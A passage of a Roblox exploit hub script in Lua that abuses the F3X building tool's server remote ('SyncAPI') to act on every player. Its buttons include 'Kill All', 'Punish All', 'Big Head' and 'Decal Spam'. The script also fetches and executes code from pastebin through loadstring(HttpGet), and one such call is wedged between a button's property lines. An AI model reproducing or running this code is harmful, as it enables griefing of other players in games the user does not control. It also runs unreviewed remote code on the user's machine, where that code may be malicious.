loadstring(game:HttpGet("https://pastebin.com/raw/XF7Qxc8K"))()
end,
})
local Button = MainTab:CreateButton({
Name = "rlly random gui",
Callback = function()
--[[
WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk!
]]
--[[
credit 1sw0rd1 if you grab any of the functions
(which includes neon/classic rain toad/improved thomas/
clone head/punish/rotations)
of this script or skid the ui.
dont be a dick.
]]--
local G2L = {};
-- StarterGui.F3XHUB
G2L["1"] = Instance.new("ScreenGui", game:GetService("Players").LocalPlayer:WaitForChild("PlayerGui"));
G2L["1"]["Name"] = [[F3XHUB]];
G2L["1"]["ZIndexBehavior"] = Enum.ZIndexBehavior.Sibling;
G2L["1"]["ResetOnSpawn"] = false;
-- StarterGui.F3XHUB.Bar
G2L["2"] = Instance.new("Frame", G2L["1"]);
G2L["2"]["BorderSizePixel"] = 0;
G2L["2"]["BackgroundColor3"] = Color3.fromRGB(100, 0, 255);
G2L["2"]["Size"] = UDim2.new(0.5647348761558533, 0, 0.11222444474697113, 0);
G2L["2"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2"]["Position"] = UDim2.new(0.21701602637767792, 0, 0.1402805596590042, 0);
G2L["2"]["Name"] = [[Bar]];
-- StarterGui.F3XHUB.Bar.Main
G2L["3"] = Instance.new("Frame", G2L["2"]);
G2L["3"]["BorderSizePixel"] = 0;
G2L["3"]["BackgroundColor3"] = Color3.fromRGB(0, 170, 0);
G2L["3"]["Size"] = UDim2.new(1.0020790100097656, 0, 4.335403919219971, 0);
G2L["3"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["3"]["Position"] = UDim2.new(-3.331613385171295e-08, 0, 0.9999999403953552, 0);
G2L["3"]["Name"] = [[Main]];
-- StarterGui.F3XHUB.Bar.Main.BigHead
G2L["4"] = Instance.new("TextButton", G2L["3"]);
G2L["4"]["TextWrapped"] = true;
G2L["4"]["BorderSizePixel"] = 0;
G2L["4"]["TextScaled"] = true;
G2L["4"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["4"]["TextSize"] = 14;
G2L["4"]["FontFace"] = Font.new([[rbxasset://fonts/families/GothamSSm.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["4"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["4"]["Size"] = UDim2.new(0.2614651620388031, 0, 0.09473495930433273, 0);
G2L["4"]["Name"] = [[BigHead]];
G2L["4"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["4"]["Text"] = [[Big Head]];
G2L["4"]["Position"] = UDim2.new(0.06100853905081749, 0, 0.03855844587087631, 0);
-- StarterGui.F3XHUB.Bar.Main.BigHead.UICorner
G2L["5"] = Instance.new("UICorner", G2L["4"]);
G2L["5"]["CornerRadius"] = UDim.new(0, 4);
-- StarterGui.F3XHUB.Bar.Main.BigHead.LocalScript
G2L["6"] = Instance.new("LocalScript", G2L["4"]);
-- StarterGui.F3XHUB.Bar.Main.BumAll
G2L["7"] = Instance.new("TextButton", G2L["3"]);
G2L["7"]["TextWrapped"] = true;
G2L["7"]["BorderSizePixel"] = 0;
G2L["7"]["TextScaled"] = true;
G2L["7"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["7"]["TextSize"] = 14;
G2L["7"]["FontFace"] = Font.new([[rbxasset://fonts/families/GothamSSm.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["7"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["7"]["Size"] = UDim2.new(0.2614651620388031, 0, 0.09473495930433273, 0);
G2L["7"]["Name"] = [[BumAll]];
G2L["7"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["7"]["Text"] = [[Punish All]];
G2L["7"]["Position"] = UDim2.new(0.36823010444641113, 0, 0.03855844587087631, 0);
-- StarterGui.F3XHUB.Bar.Main.BumAll.UICorner
G2L["8"] = Instance.new("UICorner", G2L["7"]);
G2L["8"]["CornerRadius"] = UDim.new(0, 4);
-- StarterGui.F3XHUB.Bar.Main.BumAll.LocalScript
G2L["9"] = Instance.new("LocalScript", G2L["7"]);
-- StarterGui.F3XHUB.Bar.Main.ColorAll
G2L["a"] = Instance.new("TextButton", G2L["3"]);
G2L["a"]["TextWrapped"] = true;
G2L["a"]["BorderSizePixel"] = 0;
G2L["a"]["TextScaled"] = true;
G2L["a"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["a"]["TextSize"] = 14;
G2L["a"]["FontFace"] = Font.new([[rbxasset://fonts/families/GothamSSm.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["a"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["a"]["Size"] = UDim2.new(0.2636440396308899, 0, 0.09473495930433273, 0);
G2L["a"]["Name"] = [[ColorAll]];
G2L["a"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["a"]["Text"] = [[Color All]];
G2L["a"]["Position"] = UDim2.new(0.6710939407348633, 0, 0.03855844587087631, 0);
-- StarterGui.F3XHUB.Bar.Main.ColorAll.UICorner
G2L["b"] = Instance.new("UICorner", G2L["a"]);
G2L["b"]["CornerRadius"] = UDim.new(0, 4);
-- StarterGui.F3XHUB.Bar.Main.ColorAll.LocalScript
G2L["c"] = Instance.new("LocalScript", G2L["a"]);
-- StarterGui.F3XHUB.Bar.Main.DecalSpam
G2L["d"] = Instance.new("TextButton", G2L["3"]);
G2L["d"]["TextWrapped"] = true;
G2L["d"]["BorderSizePixel"] = 0;
G2L["d"]["TextScaled"] = true;
G2L["d"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["d"]["TextSize"] = 14;
G2L["d"]["FontFace"] = Font.new([[rbxasset://fonts/families/GothamSSm.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["d"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["d"]["Size"] = UDim2.new(0.2614651620388031, 0, 0.09473495930433273, 0);
G2L["d"]["Name"] = [[DecalSpam]];
G2L["d"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["d"]["Text"] = [[Decal Spam]];
G2L["d"]["Position"] = UDim2.new(0.06100853905081749, 0, 0.216508150100708, 0);
-- StarterGui.F3XHUB.Bar.Main.DecalSpam.UICorner
G2L["e"] = Instance.new("UICorner", G2L["d"]);
G2L["e"]["CornerRadius"] = UDim.new(0, 4);
-- StarterGui.F3XHUB.Bar.Main.DecalSpam.LocalScript
G2L["f"] = Instance.new("LocalScript", G2L["d"]);
-- StarterGui.F3XHUB.Bar.Main.FireAll
G2L["10"] = Instance.new("TextButton", G2L["3"]);
G2L["10"]["TextWrapped"] = true;
G2L["10"]["BorderSizePixel"] = 0;
G2L["10"]["TextScaled"] = true;
G2L["10"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["10"]["TextSize"] = 14;
G2L["10"]["FontFace"] = Font.new([[rbxasset://fonts/families/GothamSSm.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["10"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["10"]["Size"] = UDim2.new(0.2614651620388031, 0, 0.09473495930433273, 0);
G2L["10"]["Name"] = [[FireAll]];
G2L["10"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["10"]["Text"] = [[Burn All]];
G2L["10"]["Position"] = UDim2.new(0.36823010444641113, 0, 0.216508150100708, 0);
-- StarterGui.F3XHUB.Bar.Main.FireAll.UICorner
G2L["11"] = Instance.new("UICorner", G2L["10"]);
G2L["11"]["CornerRadius"] = UDim.new(0, 4);
-- StarterGui.F3XHUB.Bar.Main.FireAll.LocalScript
G2L["12"] = Instance.new("LocalScript", G2L["10"]);
-- StarterGui.F3XHUB.Bar.Main.Rain Toad
G2L["13"] = Instance.new("TextButton", G2L["3"]);
G2L["13"]["TextWrapped"] = true;
G2L["13"]["BorderSizePixel"] = 0;
G2L["13"]["TextScaled"] = true;
G2L["13"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["13"]["TextSize"] = 14;
G2L["13"]["FontFace"] = Font.new([[rbxasset://fonts/families/GothamSSm.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["13"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["13"]["Size"] = UDim2.new(0.2636440396308899, 0, 0.09473495930433273, 0);
G2L["13"]["Name"] = [[Rain Toad]];
G2L["13"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["13"]["Text"] = [[Rain Toad]];
G2L["13"]["Position"] = UDim2.new(0.6710939407348633, 0, 0.216508150100708, 0);
-- StarterGui.F3XHUB.Bar.Main.Rain Toad.UICorner
G2L["14"] = Instance.new("UICorner", G2L["13"]);
G2L["14"]["CornerRadius"] = UDim.new(0, 4);
-- StarterGui.F3XHUB.Bar.Main.Rain Toad.LocalScript
G2L["15"] = Instance.new("LocalScript", G2L["13"]);
-- StarterGui.F3XHUB.Bar.Main.ThomasEngine
G2L["16"] = Instance.new("TextButton", G2L["3"]);
G2L["16"]["TextWrapped"] = true;
G2L["16"]["BorderSizePixel"] = 0;
G2L["16"]["TextScaled"] = true;
G2L["16"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["16"]["TextSize"] = 14;
G2L["16"]["FontFace"] = Font.new([[rbxasset://fonts/families/GothamSSm.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["16"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["16"]["Size"] = UDim2.new(0.2614651620388031, 0, 0.09473495930433273, 0);
G2L["16"]["Name"] = [[ThomasEngine]];
G2L["16"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["16"]["Text"] = [[Become Thomas]];
G2L["16"]["Position"] = UDim2.new(0.06100853905081749, 0, 0.39000919461250305, 0);
-- StarterGui.F3XHUB.Bar.Main.ThomasEngine.UICorner
G2L["17"] = Instance.new("UICorner", G2L["16"]);
G2L["17"]["CornerRadius"] = UDim.new(0, 4);
-- StarterGui.F3XHUB.Bar.Main.ThomasEngine.LocalScript
G2L["18"] = Instance.new("LocalScript", G2L["16"]);
-- StarterGui.F3XHUB.Bar.Main.Unanchor
G2L["19"] = Instance.new("TextButton", G2L["3"]);
G2L["19"]["TextWrapped"] = true;
G2L["19"]["BorderSizePixel"] = 0;
G2L["19"]["TextScaled"] = true;
G2L["19"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["19"]["TextSize"] = 14;
G2L["19"]["FontFace"] = Font.new([[rbxasset://fonts/families/GothamSSm.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["19"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["19"]["Size"] = UDim2.new(0.2614651620388031, 0, 0.09473495930433273, 0);
G2L["19"]["Name"] = [[Unanchor]];
G2L["19"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["19"]["Text"] = [[Unanchor]];
G2L["19"]["Position"] = UDim2.new(0.36823010444641113, 0, 0.39000919461250305, 0);
-- StarterGui.F3XHUB.Bar.Main.Unanchor.UICorner
G2L["1a"] = Instance.new("UICorner", G2L["19"]);
G2L["1a"]["CornerRadius"] = UDim.new(0, 4);
-- StarterGui.F3XHUB.Bar.Main.Unanchor.LocalScript
G2L["1b"] = Instance.new("LocalScript", G2L["19"]);
-- StarterGui.F3XHUB.Bar.Main.CreateBasePlate
G2L["1c"] = Instance.new("TextButton", G2L["3"]);
G2L["1c"]["TextWrapped"] = true;
G2L["1c"]["BorderSizePixel"] = 0;
G2L["1c"]["TextScaled"] = true;
G2L["1c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1c"]["TextSize"] = 14;
G2L["1c"]["FontFace"] = Font.new([[rbxasset://fonts/families/GothamSSm.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1c"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1c"]["Size"] = UDim2.new(0.2636440396308899, 0, 0.09473495930433273, 0);
G2L["1c"]["Name"] = [[CreateBasePlate]];
G2L["1c"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1c"]["Text"] = [[Create Baseplate]];
G2L["1c"]["Position"] = UDim2.new(0.6710939407348633, 0, 0.39000919461250305, 0);
-- StarterGui.F3XHUB.Bar.Main.CreateBasePlate.UICorner
G2L["1d"] = Instance.new("UICorner", G2L["1c"]);
G2L["1d"]["CornerRadius"] = UDim.new(0, 4);
-- StarterGui.F3XHUB.Bar.Main.CreateBasePlate.LocalScript
G2L["1e"] = Instance.new("LocalScript", G2L["1c"]);
-- StarterGui.F3XHUB.Bar.Main.KillAll
G2L["1f"] = Instance.new("TextButton", G2L["3"]);
G2L["1f"]["TextWrapped"] = true;
G2L["1f"]["BorderSizePixel"] = 0;
G2L["1f"]["TextScaled"] = true;
G2L["1f"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1f"]["TextSize"] = 14;
G2L["1f"]["FontFace"] = Font.new([[rbxasset://fonts/families/GothamSSm.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1f"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1f"]["Size"] = UDim2.new(0.2614651620388031, 0, 0.09473495930433273, 0);
G2L["1f"]["Name"] = [[KillAll]];
G2L["1f"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1f"]["Text"] = [[Kill All]];
G2L["1f"]["Position"] = UDim2.new(0.06100853905081749, 0, 0.5768563747406006, 0);
-- StarterGui.F3XHUB.Bar.Main.KillAll.UICorner
G2L["20"] = Instance.new("UICorner", G2L["1f"]);
G2L["20"]["CornerRadius"] = UDim.new(0, 4);
-- StarterGui.F3XHUB.Bar.Main.KillAll.LocalScript
G2L["21"] = Instance.new("LocalScript", G2L["1f"]);
-- StarterGui.F3XHUB.Bar.Main.PersonalityAll
G2L["22"] = Instance.new("TextButton", G2L["3"]);
G2L["22"]["TextWrapped"] = true;
G2L["22"]["BorderSizePixel"] = 0;
G2L["22"]["TextScaled"] = true;
loadstring(game:HttpGet("https://pastebin.com/raw/LDFLANiA"))();
G2L["22"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["22"]["TextSize"] = 14;
G2L["22"]["FontFace"] = Font.new([[rbxasset://fonts/families/GothamSSm.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["22"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["22"]["Size"] = UDim2.new(0.2614651918411255, 0, 0.09473495930433273, 0);
G2L["22"]["Name"] = [[PersonalityAll]];
G2L["22"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["22"]["Text"] = [[Clone Heads]];
G2L["22"]["Position"] = UDim2.new(0.36823010444641113, 0, 0.5768563747406006, 0);
-- StarterGui.F3XHUB.Bar.Main.PersonalityAll.UICorner
G2L["23"] = Instance.new("UICorner", G2L["22"]);
G2L["23"]["CornerRadius"] = UDim.new(0, 4);
-- StarterGui.F3XHUB.Bar.Main.PersonalityAll.LocalScript
G2L["24"] = Instance.new("LocalScript", G2L["22"]);
-- StarterGui.F3XHUB.Bar.Main.Skybox
G2L["25"] = Instance.new("TextButton", G2L["3"]);
G2L["25"]["TextWrapped"] = true;
G2L["25"]["BorderSizePixel"] = 0;
G2L["25"]["TextScaled"] = true;
G2L["25"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["25"]["TextSize"] = 14;
G2L["25"]["FontFace"] = Font.new([[rbxasset://fonts/families/GothamSSm.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["25"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["25"]["Size"] = UDim2.new(0.2636440396308899, 0, 0.09473495930433273, 0);
G2L["25"]["Name"] = [[Skybox]];
G2L["25"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["25"]["Text"] = [[Skybox]];
G2L["25"]["Position"] = UDim2.new(0.6710939407348633, 0, 0.5768563747406006, 0);
-- StarterGui.F3XHUB.Bar.Main.Skybox.UICorner
G2L["26"] = Instance.new("UICorner", G2L["25"]);
G2L["26"]["CornerRadius"] = UDim.new(0, 4);
-- StarterGui.F3XHUB.Bar.Main.Skybox.LocalScript
G2L["27"] = Instance.new("LocalScript", G2L["25"]);
-- StarterGui.F3XHUB.Bar.Main.Peircer
G2L["28"] = Instance.new("TextButton", G2L["3"]);
G2L["28"]["TextWrapped"] = true;
G2L["28"]["BorderSizePixel"] = 0;
G2L["28"]["TextScaled"] = true;
G2L["28"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["28"]["TextSize"] = 14;
G2L["28"]["FontFace"] = Font.new([[rbxasset://fonts/families/GothamSSm.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["28"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["28"]["Size"] = UDim2.new(0.2614651620388031, 0, 0.09473495930433273, 0);
G2L["28"]["Name"] = [[Peircer]];
G2L["28"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["28"]["Text"] = [[Neon]];
G2L["28"]["Position"] = UDim2.new(0.06100853905081749, 0, 0.7503573298454285, 0);
-- StarterGui.F3XHUB.Bar.Main.Peircer.UICorner
G2L["29"] = Instance.new("UICorner", G2L["28"]);
G2L["29"]["CornerRadius"] = UDim.new(0, 4);
-- StarterGui.F3XHUB.Bar.Main.Peircer.LocalScript
G2L["2a"] = Instance.new("LocalScript", G2L["28"]);
-- StarterGui.F3XHUB.Bar.Main.StickAll
G2L["2b"] = Instance.new("TextButton", G2L["3"]);
G2L["2b"]["TextWrapped"] = true;
G2L["2b"]["BorderSizePixel"] = 0;
G2L["2b"]["TextScaled"] = true;
G2L["2b"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2b"]["TextSize"] = 14;
G2L["2b"]["FontFace"] = Font.new([[rbxasset://fonts/families/GothamSSm.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2b"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2b"]["Size"] = UDim2.new(0.2614651620388031, 0, 0.09473495930433273, 0);
G2L["2b"]["Name"] = [[StickAll]];
G2L["2b"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2b"]["Text"] = [[StickAll]];
G2L["2b"]["Position"] = UDim2.new(0.36823010444641113, 0, 0.7503573298454285, 0);
-- StarterGui.F3XHUB.Bar.Main.StickAll.UICorner
G2L["2c"] = Instance.new("UICorner", G2L["2b"]);
G2L["2c"]["CornerRadius"] = UDim.new(0, 4);
-- StarterGui.F3XHUB.Bar.Main.StickAll.LocalScript
G2L["2d"] = Instance.new("LocalScript", G2L["2b"]);
-- StarterGui.F3XHUB.Bar.Main.TwigAll
G2L["2e"] = Instance.new("TextButton", G2L["3"]);
G2L["2e"]["TextWrapped"] = true;
G2L["2e"]["BorderSizePixel"] = 0;
G2L["2e"]["TextScaled"] = true;
G2L["2e"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2e"]["TextSize"] = 14;
G2L["2e"]["FontFace"] = Font.new([[rbxasset://fonts/families/GothamSSm.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2e"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2e"]["Size"] = UDim2.new(0.2636440396308899, 0, 0.09473495930433273, 0);
G2L["2e"]["Name"] = [[TwigAll]];
G2L["2e"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2e"]["Text"] = [[Loop Rotations]];
G2L["2e"]["Position"] = UDim2.new(0.6710939407348633, 0, 0.7503573298454285, 0);
-- StarterGui.F3XHUB.Bar.Main.TwigAll.UICorner
G2L["2f"] = Instance.new("UICorner", G2L["2e"]);
G2L["2f"]["CornerRadius"] = UDim.new(0, 4);
-- StarterGui.F3XHUB.Bar.Main.TwigAll.LocalScript
G2L["30"] = Instance.new("LocalScript", G2L["2e"]);
-- StarterGui.F3XHUB.Bar.Main.FireParts
G2L["31"] = Instance.new("TextButton", G2L["3"]);
G2L["31"]["TextWrapped"] = true;
G2L["31"]["BorderSizePixel"] = 0;
G2L["31"]["TextScaled"] = true;
G2L["31"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["31"]["TextSize"] = 14;
G2L["31"]["FontFace"] = Font.new([[rbxasset://fonts/families/GothamSSm.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["31"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["31"]["Size"] = UDim2.new(0.2614651620388031, 0, 0.09061604738235474, 0);
G2L["31"]["Name"] = [[FireParts]];
G2L["31"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["31"]["Text"] = [[Fire Parts]];
G2L["31"]["Position"] = UDim2.new(0.36823010444641113, 0, 0.8739246726036072, 0);
G2L["5555"] = Instance.new("TextButton", G2L["3"]);
G2L["5555"]["TextWrapped"] = true;
G2L["5555"]["BorderSizePixel"] = 0;
G2L["5555"]["TextScaled"] = true;
G2L["5555"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["5555"]["TextSize"] = 14;
G2L["5555"]["FontFace"] = Font.new([[rbxasset://fonts/families/GothamSSm.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["5555"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["5555"]["Size"] = UDim2.new(0.2614651620388031, 0, 0.09061604738235474, 0);
G2L["5555"]["Name"] = [[FireParts]];
G2L["5555"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["5555"]["Text"] = [[Sky 2]];
G2L["5555"]["Position"] = UDim2.new(0.06, 0, 0.8739246726036072, 0);
-- StarterGui.F3XHUB.Bar.Main.FireParts.UICorner
G2L["32"] = Instance.new("UICorner", G2L["31"]);
G2L["32"]["CornerRadius"] = UDim.new(0, 4);
G2L["eee"] = Instance.new("UICorner", G2L["5555"]);
G2L["eee"]["CornerRadius"] = UDim.new(0, 4);
-- StarterGui.F3XHUB.Bar.Main.FireParts.LocalScript
G2L["33"] = Instance.new("LocalScript", G2L["31"]);
-- sky 2
G2L["aaa"] = Instance.new("LocalScript", G2L["5555"]);
-- StarterGui.F3XHUB.Bar.Title
G2L["34"] = Instance.new("TextLabel", G2L["2"]);
G2L["34"]["TextWrapped"] = true;
G2L["34"]["BorderSizePixel"] = 0;
G2L["34"]["TextScaled"] = true;
G2L["34"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["34"]["FontFace"] = Font.new([[rbxasset://fonts/families/GothamSSm.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["34"]["TextSize"] = 14;
G2L["34"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["34"]["Size"] = UDim2.new(0.4410480558872223, 0, 0.785714328289032, 0);
G2L["34"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["34"]["Text"] = [[sw0rd hacker skidded gui]];
G2L["34"]["Name"] = [[Title]];
G2L["34"]["BackgroundTransparency"] = 1;
G2L["34"]["Position"] = UDim2.new(0.03711787238717079, 0, 0.1250000149011612, 0);
-- StarterGui.F3XHUB.Bar.OpenCloseKeybind
G2L["35"] = Instance.new("LocalScript", G2L["2"]);
G2L["35"]["Name"] = [[OpenCloseKeybind]];
-- StarterGui.F3XHUB.Bar.MinimizeButton
G2L["36"] = Instance.new("TextButton", G2L["2"]);
G2L["36"]["BorderSizePixel"] = 0;
G2L["36"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["36"]["TextSize"] = 14;
G2L["36"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["36"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["36"]["Size"] = UDim2.new(0.19213974475860596, 0, 0.5714285969734192, 0);
G2L["36"]["Name"] = [[MinimizeButton]];
G2L["36"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["36"]["Text"] = [[]];
G2L["36"]["Position"] = UDim2.new(0.6528384685516357, 0, 0.2321428656578064, 0);
-- StarterGui.F3XHUB.Bar.MinimizeButton.UICorner
G2L["37"] = Instance.new("UICorner", G2L["36"]);
G2L["37"]["CornerRadius"] = UDim.new(1, 9);
-- StarterGui.F3XHUB.Bar.MinimizeButton.LocalScript
G2L["38"] = Instance.new("LocalScript", G2L["36"]);
-- StarterGui.F3XHUB.Bar.CloseButton
G2L["39"] = Instance.new("TextButton", G2L["2"]);
G2L["39"]["BorderSizePixel"] = 0;
G2L["39"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["39"]["TextSize"] = 14;
G2L["39"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["39"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["39"]["Size"] = UDim2.new(0.0786026269197464, 0, 0.6071429252624512, 0);
G2L["39"]["Name"] = [[CloseButton]];
G2L["39"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["39"]["Text"] = [[]];
G2L["39"]["Position"] = UDim2.new(0.85807865858078, 0, 0.1964285969734192, 0);
-- StarterGui.F3XHUB.Bar.CloseButton.UICorner
G2L["3a"] = Instance.new("UICorner", G2L["39"]);
G2L["3a"]["CornerRadius"] = UDim.new(1, 9);
-- StarterGui.F3XHUB.Bar.CloseButton.LocalScript
G2L["3b"] = Instance.new("LocalScript", G2L["39"]);
-- StarterGui.F3XHUB.Bar.DraggableScript
G2L["3c"] = Instance.new("LocalScript", G2L["2"]);
G2L["3c"]["Name"] = [[DraggableScript]];
-- StarterGui.F3XHUB.Bar.Main.BigHead.LocalScript
local function C_6()
local script = G2L["6"];
script.Parent.MouseButton1Down:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = workspace.Part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function BigHead(player)
local chara = player.Character
spawn(function()
SetLocked(chara.Head,false)
MeshResize(chara.Head,Vector3.new(10,10,10))
end)
end
for i,players in game.Players:GetPlayers() do
BigHead(players)
end
end)
end;
task.spawn(C_6);
-- StarterGui.F3XHUB.Bar.Main.BumAll.LocalScript
local function C_9()
local script = G2L["9"];
script.Parent.MouseButton1Down:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
